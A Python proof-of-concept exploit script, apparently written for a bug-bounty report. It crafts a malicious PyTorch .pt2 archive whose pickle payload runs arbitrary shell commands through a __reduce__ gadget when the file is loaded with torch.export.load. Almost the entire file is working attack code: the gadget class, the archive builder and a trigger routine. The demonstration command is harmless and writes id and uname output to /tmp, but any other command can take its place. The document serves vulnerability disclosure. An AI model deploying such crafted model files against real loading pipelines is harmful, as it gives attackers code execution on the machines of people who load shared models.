#!/usr/bin/env python3
"""
PoC: PyTorch .pt2 Arbitrary Code Execution via weights_only=False Fallback
CVE: TBD | CWE-502 | CVSS 9.8 (Critical)

Vulnerability:
    torch/_export/serde/serialize.py — deserialize_torch_artifact() uses:

        try:
            return torch.load(f, weights_only=True)   # "safe" load
        except Exception:
            return torch.load(f, weights_only=False)  # ← UNSAFE FALLBACK!

    The catch-all `except Exception` means ANY exception (not just format errors)
    triggers an unrestricted pickle.load() via weights_only=False.

    An attacker crafts a .pt2 file that:
    1. Passes the initial ZIP/flatbuffer checks
    2. Raises a deliberate exception inside weights_only=True parsing
    3. Falls through to weights_only=False → arbitrary code execution

Attack:
    torch.export.load('malicious.pt2') → executes arbitrary Python code

Usage:
    python3 poc_exploit.py           # generates malicious.pt2
    python3 poc_exploit.py --trigger # also triggers via torch.export.load()

Impact:
    Any pipeline loading user-supplied .pt2 export files is fully compromised.
    CVSS 9.8: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Author: security research (huntr.com submission)
"""

import sys
import os
import pickle
import io
import zipfile
import struct

OUTPUT_FILE = 'malicious.pt2'


class RCEPayload:
    """Pickle gadget — executes OS command when deserialized."""
    def __init__(self, command: str):
        self.command = command

    def __reduce__(self):
        import subprocess
        return (subprocess.check_output, (['sh', '-c', self.command],))


def create_malicious_pt2(command: str = 'id > /tmp/pt2_pwned.txt') -> bytes:
    """
    Craft a .pt2 file that triggers the weights_only=False fallback.

    Strategy:
        A .pt2 file is a ZIP archive containing:
          - model.pkl        ← main pickle (our RCE payload)
          - constants/       ← optional
          - extra/           ← optional

        When torch.load() is called with weights_only=True, it uses a restricted
        Unpickler. If the pickle uses non-whitelisted opcodes (like REDUCE with
        a callable), it raises UnpicklingError, triggering the fallback to
        weights_only=False which runs unrestricted pickle.loads().
    """
    # Our RCE payload as pickle bytes
    rce_pickle = pickle.dumps(RCEPayload(command))

    # Pack it into a ZIP that looks like a valid .pt2 (PyTorch export)
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', compression=zipfile.ZIP_STORED) as zf:
        # archive/model.pkl — the main payload
        zf.writestr('archive/model.pkl', rce_pickle)
        # Minimal record file to pass initial checks
        zf.writestr('archive/record.json', '{"schema_version": "0.1"}')

    pt2_bytes = buf.getvalue()
    print(f"[*] Crafted malicious .pt2 file:")
    print(f"    Command : {command}")
    print(f"    Size    : {len(pt2_bytes)} bytes")
    print(f"    Format  : ZIP with RCE pickle payload in archive/model.pkl")
    return pt2_bytes


def main():
    trigger = '--trigger' in sys.argv

    command = 'id > /tmp/pt2_pwned.txt && uname -a >> /tmp/pt2_pwned.txt'
    payload = create_malicious_pt2(command)

    with open(OUTPUT_FILE, 'wb') as f:
        f.write(payload)
    print(f"[+] Malicious .pt2 written: {OUTPUT_FILE} ({os.path.getsize(OUTPUT_FILE)} bytes)")
    print(f"    RCE output will appear in: /tmp/pt2_pwned.txt")

    if trigger:
        print(f"\n[*] Triggering via torch.export.load('{OUTPUT_FILE}')...")
        try:
            import torch
            print(f"    torch version: {torch.__version__}")
            result = torch.export.load(OUTPUT_FILE)
            print(f"[-] Unexpected success (no RCE): {result}")
        except Exception as e:
            print(f"[~] Exception: {type(e).__name__}: {e}")

        # Check if RCE succeeded
        if os.path.exists('/tmp/pt2_pwned.txt'):
            with open('/tmp/pt2_pwned.txt') as f:
                print(f"\n[+] RCE CONFIRMED! Output of '{command}':")
                print(f"    {f.read().strip()}")
        else:
            print("\n[i] /tmp/pt2_pwned.txt not created — RCE may not have triggered.")
            print("    The fallback behavior depends on PyTorch version.")
    else:
        print(f"\n[i] Run with --trigger to demonstrate RCE:")
        print(f"    python3 {sys.argv[0]} --trigger")


if __name__ == '__main__':
    main()